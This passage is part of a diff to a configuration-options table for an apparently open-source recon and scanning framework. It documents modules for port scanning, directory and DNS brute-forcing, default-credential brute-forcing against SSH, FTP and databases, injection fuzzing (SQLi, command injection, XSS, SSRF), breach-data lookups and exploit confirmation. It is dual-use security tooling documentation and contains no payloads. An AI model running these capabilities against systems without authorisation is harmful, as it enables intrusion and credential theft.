| 150 | -| modules.nuclei.retries | int | number of times to retry a failed request (default 0) | 0 | -| modules.nuclei.severity | str | Filter based on severity field available in the template. | | -| modules.nuclei.silent | bool | Don't display nuclei's banner or status messages | False | -| modules.nuclei.tags | str | execute a subset of templates that contain the provided tags | | -| modules.nuclei.templates | str | template or template directory paths to include in the scan | | -| modules.nuclei.version | str | nuclei version | 3.8.0 | -| modules.oauth.try_all | bool | Check for OAUTH/IODC on every subdomain and URL. | False | -| modules.paramminer_cookies.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | -| modules.paramminer_cookies.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | -| modules.paramminer_cookies.wordlist | str | Define the wordlist to be used to derive cookies. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | -| modules.paramminer_getparams.brute_short | bool | Generate every 1-, 2-, and 3-letter [a-z] combination and add to the wordlist. Costs ~18,278 extra requests per host; opt-in for thorough scans. | False | -| modules.paramminer_getparams.mutate_case | bool | Also test case-mutated variants of each entry (camelCase for snake_case/kebab-case, Title case for single words). Skipped on URLs with case-insensitive backend extensions like .aspx/.cfm. | False | -| modules.paramminer_getparams.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | -| modules.paramminer_getparams.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | -| modules.paramminer_getparams.wordlist | str | Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | -| modules.paramminer_headers.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | -| modules.paramminer_headers.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | -| modules.paramminer_headers.wordlist | str | Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | -| modules.portscan.adapter | str | Manually specify a network interface, such as "eth0" or "tun0". If not specified, the first network interface found with a default gateway will be used. | | -| modules.portscan.adapter_ip | str | Send packets using this IP address. Not needed unless masscan's autodetection fails | | -| modules.portscan.adapter_mac | str | Send packets using this as the source MAC address. Not needed unless masscan's autodetection fails | | -| modules.portscan.module_timeout | int | Max time in seconds to spend handling each batch of events | 259200 | -| modules.portscan.ping_first | bool | Only portscan hosts that reply to pings | False | -| modules.portscan.ping_only | bool | Ping sweep only, no portscan | False | -| modules.portscan.ports | str | Ports to scan | | -| modules.portscan.rate | int | Rate in packets per second | 300 | -| modules.portscan.router_mac | str | Send packets to this MAC address as the destination. Not needed unless masscan's autodetection fails | | -| modules.portscan.top_ports | int | Top ports to scan (default 100) (to override, specify 'ports') | 100 | -| modules.portscan.wait | int | Seconds to wait for replies after scan is complete | 5 | -| modules.retirejs.node_version | str | Node.js version to install locally | 18.19.1 | -| modules.retirejs.severity | str | Minimum severity level to report (none, low, medium, high, critical) | medium | -| modules.retirejs.version | str | retire.js version | 5.3.0 | -| modules.robots.include_allow | bool | Include 'Allow' Entries | True | -| modules.robots.include_disallow | bool | Include 'Disallow' Entries | True | -| modules.robots.include_sitemap | bool | Include 'sitemap' entries | False | -| modules.securitytxt.emails | bool | emit EMAIL_ADDRESS events | True | -| modules.securitytxt.urls | bool | emit URL_UNVERIFIED events | True | -| modules.telerik.exploit_RAU_crypto | bool | Attempt to confirm any RAU AXD detections are vulnerable | False | -| modules.telerik.include_subdirs | bool | Include subdirectories in the scan (off by default) | False | -| modules.url_manipulation.allow_redirects | bool | Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default. | True | -| modules.wafw00f.generic_detect | bool | When no specific WAF detections are made, try to perform a generic detect | True | -| modules.webbrute.concurrency | int | Number of concurrent requests per URL being fuzzed | 50 | -| modules.webbrute.extensions | str | Optionally include a list of extensions to extend the keyword with (comma separated or YAML list) | | -| modules.webbrute.ignore_case | bool | Only put lowercase words into the wordlist | False | -| modules.webbrute.lines | int | take only the first N lines from the wordlist when finding directories | 5000 | -| modules.webbrute.max_depth | int | the maximum directory depth to attempt to solve | 0 | -| modules.webbrute.rate | int | Maximum requests per second (0 = unlimited) | 0 | -| modules.webbrute.wordlist | str | Specify wordlist to use when finding directories. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt | -| modules.webbrute_shortnames.extensions | str | Optionally include a list of extensions to extend the keyword with (comma separated) | | -| modules.webbrute_shortnames.find_common_prefixes | bool | Attempt to automatically detect common prefixes and make additional runs against them | False | -| modules.webbrute_shortnames.find_delimiters | bool | Attempt to detect common delimiters and make additional runs against them | True | -| modules.webbrute_shortnames.find_subwords | bool | Attempt to detect subwords and make additional runs against them | False | -| modules.webbrute_shortnames.max_depth | int | the maximum directory depth to attempt to solve | 1 | -| modules.webbrute_shortnames.max_predictions | int | The maximum number of predictions to generate per shortname prefix | 250 | -| modules.webbrute_shortnames.rate | int | Rate of requests per second (default: 0) | 0 | -| modules.webbrute_shortnames.wordlist_extensions | str | Specify wordlist to use when making extension lists. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | -| modules.wpscan.api_key | str | WPScan API Key | | -| modules.wpscan.connection_timeout | int | The connection timeout in seconds (default 2) | 2 | -| modules.wpscan.disable_tls_checks | bool | Disables the SSL/TLS certificate verification (Default True) | True | -| modules.wpscan.enumerate | str | Enumeration Process see wpscan help documentation (default: vp,vt,cb,dbe) | vp,vt,cb,dbe | -| modules.wpscan.force | bool | Do not check if the target is running WordPress or returns a 403 | False | -| modules.wpscan.request_timeout | int | The request timeout in seconds (default 5) | 5 | -| modules.wpscan.threads | int | How many wpscan threads to spawn (default is 5) | 5 | -| modules.anubisdb.limit | int | Limit the number of subdomains returned per query (increasing this may slow the scan due to garbage results from this API) | 1000 | -| modules.apkpure.output_folder | str | Folder to download APKs to. If not specified, downloaded APKs will be deleted when the scan completes, to minimize disk usage. | | -| modules.bevigil.api_key | str | BeVigil OSINT API Key | | -| modules.bevigil.urls | bool | Emit URLs in addition to DNS_NAMEs | False | -| modules.bucket_file_enum.file_limit | int | Limit the number of files downloaded per bucket | 50 | -| modules.bufferoverrun.api_key | str | BufferOverrun API key | | -| modules.bufferoverrun.commercial | bool | Use commercial API | False | -| modules.builtwith.api_key | str | Builtwith API key | | -| modules.builtwith.redirects | bool | Also look up inbound and outbound redirects | True | -| modules.c99.api_key | str | c99.nl API key | | -| modules.censys_dns.api_key | str | Censys.io API Key in the format of 'key:secret' | | -| modules.censys_dns.max_pages | int | Maximum number of pages to fetch (100 results per page) | 5 | -| modules.censys_ip.api_key | str | Censys.io API Key in the format of 'key:secret' | | -| modules.censys_ip.dns_names_limit | int | Maximum number of DNS names to extract from dns.names (default 100) | 100 | -| modules.censys_ip.in_scope_only | bool | Only query in-scope IPs. If False, will query up to distance 1. | True | -| modules.chaos.api_key | str | Chaos API key | | -| modules.credshed.credshed_url | str | URL of credshed server | | -| modules.credshed.password | str | Credshed password | | -| modules.credshed.username | str | Credshed username | | -| modules.dehashed.api_key | str | DeHashed API Key | | -| modules.dnsbimi.emit_raw_dns_records | bool | Emit RAW_DNS_RECORD events | False | -| modules.dnsbimi.emit_urls | bool | Emit URL_UNVERIFIED events | True | -| modules.dnsbimi.selectors | str | CSV list of BIMI selectors to check | default,email,mail,bimi | -| modules.dnscaa.dns_names | bool | emit DNS_NAME events | True | -| modules.dnscaa.emails | bool | emit EMAIL_ADDRESS events | True | -| modules.dnscaa.in_scope_only | bool | Only check in-scope domains | True | -| modules.dnscaa.urls | bool | emit URL_UNVERIFIED events | True | -| modules.dnstlsrpt.emit_emails | bool | Emit EMAIL_ADDRESS events | True | -| modules.dnstlsrpt.emit_raw_dns_records | bool | Emit RAW_DNS_RECORD events | False | -| modules.dnstlsrpt.emit_urls | bool | Emit URL_UNVERIFIED events | True | -| modules.docker_pull.all_tags | bool | Download all tags from each registry (Default False) | False | -| modules.docker_pull.output_folder | str | Folder to download docker repositories to. If not specified, downloaded docker images will be deleted when the scan completes, to minimize disk usage. | | -| modules.fullhunt.api_key | str | FullHunt API Key | | -| modules.git_clone.api_key | str | Github token | | -| modules.git_clone.output_folder | str | Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage. | | -| modules.gitdumper.fuzz_tags | bool | Fuzz for common git tag names (v0.0.1, 0.0.2, etc.) up to the max_semanic_version | False | -| modules.gitdumper.max_semanic_version | int |` Maximum version number to fuzz for (default < v10.10.10) `| 10 | -| modules.gitdumper.output_folder | str | Folder to download repositories to. If not specified, downloaded repositories will be deleted when the scan completes, to minimize disk usage. | | -| modules.github_codesearch.api_key | str | Github token | | -| modules.github_codesearch.limit | int | Limit code search to this many results | 100 | -| modules.github_org.api_key | str | Github token | | -| modules.github_org.include_member_repos | bool | Also enumerate organization members' repositories | False | -| modules.github_org.include_members | bool | Enumerate organization members | True | -| modules.github_usersearch.api_key | str | Github token | | -| modules.github_workflows.api_key | str | Github token | | -| modules.github_workflows.num_logs | int | For each workflow fetch the last N successful runs logs (max 100) | 1 | -| modules.github_workflows.output_folder | str | Folder to download workflow logs and artifacts to | | -| modules.hunterio.api_key | str | Hunter.IO API key | | -| modules.ip2location.api_key | str | IP2location.io API Key | | -| modules.ip2location.lang | str | Translation information(ISO639-1). The translation is only applicable for continent, country, region and city name. | | -| modules.ipneighbor.num_bits | int | Netmask size (in CIDR notation) to check. Default is 4 bits (16 hosts) | 4 | -| modules.ipstack.api_key | str | IPStack GeoIP API Key | | -| modules.jadx.threads | int | Maximum jadx threads for extracting apk's, default: 4 | 4 | -| modules.kreuzberg.extensions | list | File extensions to parse | ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml'] | -| modules.leakix.api_key | str | LeakIX API Key | | -| modules.otx.api_key | str | OTX API key | | -| modules.pgp.search_urls | list | PGP key servers to search |` ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index'] `| -| modules.portfilter.allowed_cdn_ports | str | Comma-separated list of ports that are allowed to be scanned for CDNs | 80,443 | -| modules.portfilter.cdn_tags | str | Comma-separated list of tags to skip, e.g. 'cdn,waf' | cdn,waf | -| modules.postman.api_key | str | Postman API Key | | -| modules.postman_download.api_key | str | Postman API Key | | -| modules.postman_download.output_folder | str | Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage. | | -| modules.securitytrails.api_key | str | SecurityTrails API key | | -| modules.shodan_dns.api_key | str | Shodan API key | | -| modules.shodan_enterprise.api_key | str | Shodan API Key | | -| modules.shodan_enterprise.in_scope_only | bool | Only query in-scope IPs. If False, will query up to distance 1. | True | -| modules.shodan_idb.retries | NoneType | How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting. | None | -| modules.subdomainradar.api_key | str | SubDomainRadar.io API key | | -| modules.subdomainradar.group | str | The enumeration group to use. Choose from fast, medium, deep | fast | -| modules.subdomainradar.timeout | int | Timeout in seconds | 120 | -| modules.trajan.ado_token | str | Azure DevOps Personal Access Token (PAT) | | -| modules.trajan.github_token | str | GitHub API token for rate-limiting and private repo access | | -| modules.trajan.gitlab_token | str | GitLab API token for private repo access | | -| modules.trajan.jenkins_password | str | Jenkins password for basic auth | | -| modules.trajan.jenkins_token | str | Jenkins API token | | -| modules.trajan.jenkins_username | str | Jenkins username for basic auth | | -| modules.trajan.jfrog_token | str | JFrog API token | | -| modules.trajan.version | str | Trajan version to download and use | 1.0.0 | -| modules.trickest.api_key | str | Trickest API key | | -| modules.trufflehog.concurrency | int | Number of concurrent workers | 8 | -| modules.trufflehog.config | str | File path or URL to YAML trufflehog config | | -| modules.trufflehog.deleted_forks | bool | Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours. | False | -| modules.trufflehog.only_verified | bool | Only report credentials that have been verified | True | -| modules.trufflehog.version | str | trufflehog version | 3.95.5 | -| modules.urlscan.urls | bool | Emit URLs in addition to DNS_NAMEs | False | -| modules.virustotal.api_key | str | VirusTotal API Key | | -| modules.wayback.archive | bool | fetch archived versions of dead URLs from the Wayback Machine and emit HTTP_RESPONSE events (requires urls=true) | False | -| modules.wayback.garbage_threshold | int | Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data) | 10 | -| modules.wayback.parameters | bool | emit WEB_PARAMETER events for query parameters discovered in archived URLs (requires urls=true) | False | -| modules.wayback.urls | bool | emit URLs in addition to DNS_NAMEs | False | -| modules.asset_inventory.output_file | str | Set a custom output file | | -| modules.asset_inventory.recheck | bool | When use_previous=True, don't retain past details like open ports or findings. Instead, allow them to be rediscovered by the new scan | False | -| modules.asset_inventory.summary_netmask | int | Subnet mask to use when summarizing IP addresses at end of scan | 16 | -| modules.asset_inventory.use_previous | bool |` Emit previous asset inventory as new events (use in conjunction with -n ) `| False | -| modules.csv.output_file | str | Output to CSV file | | -| modules.discord.event_types | list | Types of events to send | ['FINDING'] | -| modules.discord.min_severity | str | Only allow FINDING events of this severity or higher | LOW | -| modules.discord.retries | int | Number of times to retry sending the message before skipping the event | 10 | -| modules.discord.webhook_url | str | Discord webhook URL | | -| modules.elastic.password | str | Elastic password | bbotislife | -| modules.elastic.timeout | int | HTTP timeout | 10 | -| modules.elastic.url | str |` Elastic URL (e.g. https://localhost:9200//_doc) `| https://localhost:9200/bbot_events/_doc | -| modules.elastic.username | str | Elastic username | elastic | -| modules.emails.output_file | str | Output to file | | -| modules.json.output_file | str | Output to file | | -| modules.kafka.bootstrap_servers | str | A comma-separated list of Kafka server addresses | localhost:9092 | -| modules.kafka.topic | str | The Kafka topic to publish events to | bbot_events | -| modules.mongo.collection_prefix | str | Prefix the name of each collection with this string | | -| modules.mongo.database | str | The name of the database to use | bbot | -| modules.mongo.password | str | The password to use to connect to the database | | -| modules.mongo.uri | str | The URI of the MongoDB server | mongodb://localhost:27017 | -| modules.mongo.username | str | The username to use to connect to the database | | -| modules.mysql.database | str | The database name to connect to | bbot | -| modules.mysql.host | str | The server running MySQL | localhost | -| modules.mysql.password | str | The password to connect to MySQL | bbotislife | -| modules.mysql.port | int | The port to connect to MySQL | 3306 | -| modules.mysql.retries | int | Number of times to retry connecting to the database (1 second between retries) | 10 | -| modules.mysql.username | str | The username to connect to MySQL | root | -| modules.nats.servers | list | A list of NATS server addresses | [] | -| modules.nats.subject | str | The NATS subject to publish events to | bbot_events | -| modules.neo4j.password | str | Neo4j password | bbotislife | -| modules.neo4j.uri | str | Neo4j server + port | bolt://localhost:7687 | -| modules.neo4j.username | str | Neo4j username | neo4j | -| modules.postgres.database | str | The database name to connect to | bbot | -| modules.postgres.host | str | The server running Postgres | localhost | -| modules.postgres.password | str | The password to connect to Postgres | bbotislife | -| modules.postgres.port | int | The port to connect to Postgres | 5432 | -| modules.postgres.retries | int | Number of times to retry connecting to the database (1 second between retries) | 10 | -| modules.postgres.username | str | The username to connect to Postgres | postgres | -| modules.rabbitmq.queue | str | The RabbitMQ queue to publish events to | bbot_events | -| modules.rabbitmq.url | str | The RabbitMQ connection URL | amqp://guest:guest@localhost/ | -| modules.slack.event_types | list | Types of events to send | ['FINDING'] | -| modules.slack.min_severity | str | Only allow FINDING events of this severity or higher | LOW | -| modules.slack.retries | int | Number of times to retry sending the message before skipping the event | 10 | -| modules.slack.webhook_url | str | Slack webhook URL | | -| modules.splunk.hectoken | str | HEC Token | | -| modules.splunk.index | str | Index to send data to | | -| modules.splunk.source | str | Source path to be added to the metadata | | -| modules.splunk.timeout | int | HTTP timeout | 10 | -| modules.splunk.url | str | Web URL | | -| modules.sqlite.database | str | The path to the sqlite database file | | -| modules.sqlite.retries | int | Number of times to retry connecting to the database (1 second between retries) | 10 | -| modules.stdout.accept_dupes | bool | Whether to show duplicate events, default True | True | -| modules.stdout.event_fields | list | Which event fields to display | [] | -| modules.stdout.event_types | list | Which events to display, default all event types | [] | -| modules.stdout.format | str | Which text format to display, choices: text,json | text | -| modules.stdout.in_scope_only | bool | Whether to only show in-scope events | False | -| modules.subdomains.include_unresolved | bool | Include unresolved subdomains in output | False | -| modules.subdomains.output_file | str | Output to file | | -| modules.teams.event_types | list | Types of events to send | ['FINDING'] | -| modules.teams.min_severity | str | Only allow FINDING events of this severity or higher | LOW | -| modules.teams.retries | int | Number of times to retry sending the message before skipping the event | 10 | -| modules.teams.webhook_url | str | Teams webhook URL | | -| modules.txt.output_file | str | Output to file | | -| modules.web_parameters.include_count | bool | Include the count of each parameter in the output | False | -| modules.web_parameters.output_file | str | Output to file | | -| modules.web_report.css_theme_file | str | CSS theme URL for HTML output | https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css | -| modules.web_report.output_file | str | Output to file | | -| modules.webhook.bearer | str | Authorization Bearer token | | -| modules.webhook.headers | dict | Additional headers to send with the request | {} | -| modules.webhook.method | str | HTTP method | POST | -| modules.webhook.password | str | Password (basic auth) | | -| modules.webhook.timeout | int | HTTP timeout | 10 | -| modules.webhook.url | str | Web URL | | -| modules.webhook.username | str | Username (basic auth) | | -| modules.websocket.ignore_ssl | bool | Ignores all Websocket SSL related errors (like Self-Signed Certificates, etc.) | False | -| modules.websocket.preserve_graph | bool | Preserve full chains of events in the graph (prevents orphans) | True | -| modules.websocket.token | str | Authorization Bearer token | | -| modules.websocket.url | str | Web URL | | -| modules.zeromq.zmq_address | str | The ZeroMQ socket address to publish events to (e.g. tcp://localhost:5555) | | -| modules.excavate.custom_yara_rules | str | Include custom Yara rules | | -| modules.excavate.speculate_params | bool | Enable speculative parameter extraction from JSON and XML content | False | -| modules.excavate.yara_max_match_data | int | Sets the maximum amount of text that can extracted from a YARA regex | 2000 | -| modules.speculate.essential_only | bool | Only enable essential speculate features (no extra discovery) | False | -| modules.speculate.ip_range_max_hosts | int | Max number of hosts an IP_RANGE can contain to allow conversion into IP_ADDRESS events | 65536 | -| modules.speculate.ports | str | The set of ports to speculate on | 80,443 | +| Config Option | Type | Description | Default | +|--------------------------------------------------------|------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| modules.baddns.custom_nameservers | list[str] | Force BadDNS to use a list of custom nameservers | [] | +| modules.baddns.enabled_submodules | list[str] | A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only | [] | +| modules.baddns.min_confidence | ConfidenceLiteral | Minimum confidence to emit | MEDIUM | +| modules.baddns.min_severity | SeverityLiteral | Minimum severity to emit | LOW | +| modules.baddns_direct.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | +| modules.baddns_direct.min_confidence | ConfidenceLiteral | Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED) | MEDIUM | +| modules.baddns_direct.min_severity | SeverityLiteral | Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL) | LOW | +| modules.baddns_zone.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | +| modules.baddns_zone.min_confidence | ConfidenceLiteral | Minimum confidence to emit (UNKNOWN, LOW, MEDIUM, HIGH, CONFIRMED) | MEDIUM | +| modules.baddns_zone.min_severity | SeverityLiteral | Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL) | INFO | +| modules.badsecrets.custom_secrets | Optional[str] | Include custom secrets loaded from a local file | None | +| modules.bucket_amazon.permutations | bool | Whether to try permutations | False | +| modules.bucket_digitalocean.permutations | bool | Whether to try permutations | False | +| modules.bucket_firebase.permutations | bool | Whether to try permutations | False | +| modules.bucket_google.permutations | bool | Whether to try permutations | False | +| modules.bucket_hetzner.permutations | bool | Whether to try permutations | False | +| modules.bucket_microsoft.permutations | bool | Whether to try permutations | False | +| modules.dnsbrute.max_depth | int | How many subdomains deep to brute force, i.e. 5.4.3.2.1.evilcorp.com | 5 | +| modules.dnsbrute.recursive_mutations | bool | If True, brute-force hosts discovered by dnsbrute_mutations. The default (False) skips them because the static wordlist heavily overlaps with the mutation algorithm's own output. | False | +| modules.dnsbrute.wordlist | Union[str, list[str]] | Subdomain wordlist URL or file path. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt | +| modules.dnsbrute_mutations.max_mutations | int | Maximum number of target-specific mutations to try per subdomain | 100 | +| modules.dnscommonsrv.max_depth | int | The maximum subdomain depth to brute-force SRV records | 2 | +| modules.dnscommonsrv.recursive_mutations | bool | If True, brute-force SRV records on hosts discovered by dnsbrute_mutations. Default False skips them. | False | +| modules.filedownload.extensions | list[str] | File extensions to download | ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'] | +| modules.filedownload.max_filesize | str | Cancel download if filesize is greater than this size | 10MB | +| modules.filedownload.output_folder | str | Folder to download files to. If not specified, downloaded files will be deleted when the scan completes, to minimize disk usage. | | +| modules.fingerprintx.skip_common_web | bool | Skip common web ports such as 80, 443, 8080, 8443, etc. | True | +| modules.fingerprintx.version | str | fingerprintx version | 1.1.4 | +| modules.generic_ssrf.skip_dns_interaction | bool | Do not report DNS interactions (only HTTP interaction) | False | +| modules.gitlab_com.api_key | str | list[str] | GitLab access token (for gitlab.com/org only) | | +| modules.gitlab_onprem.api_key | str | list[str] | GitLab access token (for self-hosted instances only) | | +| modules.gowitness.chrome_path | str | Path to chrome executable | | +| modules.gowitness.idle_timeout | int | Skip the current gowitness batch if it stalls for longer than this many seconds | 1800 | +| modules.gowitness.output_path | str | Where to save screenshots | | +| modules.gowitness.resolution_x | int | Screenshot resolution x | 1440 | +| modules.gowitness.resolution_y | int | Screenshot resolution y | 900 | +| modules.gowitness.social | bool | Whether to screenshot social media webpages | False | +| modules.gowitness.threads | int | How many gowitness threads to spawn (default is number of CPUs x 2) | 0 | +| modules.gowitness.timeout | int | Preflight check timeout | 10 | +| modules.gowitness.version | str | Gowitness version | 3.1.1 | +| modules.graphql_introspection.graphql_endpoint_urls | list[str] | List of GraphQL endpoint to suffix to the target URL | ['/', '/graphql', '/v1/graphql'] | +| modules.graphql_introspection.output_folder | str | Folder to save the GraphQL schemas to | | +| modules.http.in_scope_only | bool | Only visit web resources that are in scope. | True | +| modules.http.max_response_size | int | Max response size in bytes | 5242880 | +| modules.http.store_responses | bool | Save raw HTTP responses to scan folder | False | +| modules.http.threads | int | Number of concurrent requests | 50 | +| modules.iis_shortnames.detect_only | bool | Only detect the vulnerability and do not run the shortname scanner | True | +| modules.iis_shortnames.max_node_count | int | Limit how many nodes to attempt to resolve on any given recursion branch | 50 | +| modules.iis_shortnames.speculate_magic_urls | bool | Attempt to discover iis 'magic' special folders | True | +| modules.legba.concurrency | int | Number of concurrent workers, gets overridden for SSH | 3 | +| modules.legba.ftp_wordlist | Union[str, list[str]] | Wordlist for FTP combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt | +| modules.legba.mssql_wordlist | Union[str, list[str]] | Wordlist for MSSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt | +| modules.legba.mysql_wordlist | Union[str, list[str]] | Wordlist for MySQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt | +| modules.legba.postgresql_wordlist | Union[str, list[str]] | Wordlist for PostgreSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt | +| modules.legba.rate_limit | int | Limit the number of requests per second, gets overridden for SSH | 3 | +| modules.legba.ssh_wordlist | Union[str, list[str]] | Wordlist for SSH combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt | +| modules.legba.telnet_wordlist | Union[str, list[str]] | Wordlist for TELNET combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt | +| modules.legba.version | str | legba version | 1.1.1 | +| modules.legba.vnc_wordlist | Union[str, list[str]] | Wordlist for VNC passwords, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt | +| modules.lightfuzz.avoid_wafs | bool | Avoid running against confirmed WAFs, which are likely to block lightfuzz requests | True | +| modules.lightfuzz.disable_post | bool | Disable processing of POST parameters, avoiding form submissions. | False | +| modules.lightfuzz.emit_baseline_responses | bool | Emit canonical baseline responses as HTTP_RESPONSE events so excavate can mine them for new params/URLs. | True | +| modules.lightfuzz.enabled_submodules | list[str] | A list of submodules to enable. Empty list enabled all modules. | ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi', 'ssrf'] | +| modules.lightfuzz.force_common_headers | bool | Force emit commonly exploitable parameters that may be difficult to detect | False | +| modules.lightfuzz.try_get_as_post | bool | For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing). | False | +| modules.lightfuzz.try_post_as_get | bool | For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing). | False | +| modules.medusa.snmp_versions | list[str] | List of SNMP versions to attempt against the SNMP server (default ['1', '2C']) | ['1', '2C'] | +| modules.medusa.snmp_wordlist | Union[str, list[str]] | Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt). Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt | +| modules.medusa.threads | int | Number of communities to be tested concurrently (default 5) | 5 | +| modules.medusa.timeout_s | int | Wait time for the SNMP response(s) once at the end of all attempts (default 5) | 5 | +| modules.medusa.wait_microseconds | int | Wait time after every SNMP request in microseconds (default 200) | 200 | +| modules.ntlm.try_all | bool | Try every NTLM endpoint | False | +| modules.nuclei.batch_size | int | Number of targets to send to Nuclei per batch (default 200) | 200 | +| modules.nuclei.budget | int | Used in budget mode to set the number of allowed requests per host | 1 | +| modules.nuclei.concurrency | int | maximum number of templates to be executed in parallel (default 25) | 25 | +| modules.nuclei.directory_only | bool | Filter out 'file' URL event (default True) | True | +| modules.nuclei.etags | str | tags to exclude from the scan | | +| modules.nuclei.mode | Literal['manual', 'technology', 'severe', 'budget'] | manual | technology | severe | budget. Technology: Only activate based on technology events that match nuclei tags (nuclei -as mode). Manual (DEFAULT): Fully manual settings. Severe: Only critical and high severity templates without intrusive. Budget: Limit Nuclei to a specified number of HTTP requests | manual | +| modules.nuclei.module_timeout | int | Max time in seconds to spend handling each batch of events | 21600 | +| modules.nuclei.ratelimit | int | maximum number of requests to send per second (default 150) | 150 | +| modules.nuclei.retries | int | number of times to retry a failed request (default 0) | 0 | +| modules.nuclei.severity | str | Filter based on severity field available in the template. | | +| modules.nuclei.silent | bool | Don't display nuclei's banner or status messages | False | +| modules.nuclei.tags | str | execute a subset of templates that contain the provided tags | | +| modules.nuclei.templates | str | template or template directory paths to include in the scan | | +| modules.nuclei.version | str | nuclei version | 3.9.0 | +| modules.oauth.try_all | bool | Check for OAUTH/IODC on every subdomain and URL. | False | +| modules.paramminer_cookies.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | +| modules.paramminer_cookies.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | +| modules.paramminer_cookies.wordlist | Union[str, list[str]] | Define the wordlist to be used to derive cookies. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed). | | +| modules.paramminer_getparams.brute_short | bool | Generate every 1-, 2-, and 3-letter [a-z] combination and add to the wordlist. Costs ~18,278 extra requests per host; opt-in for thorough 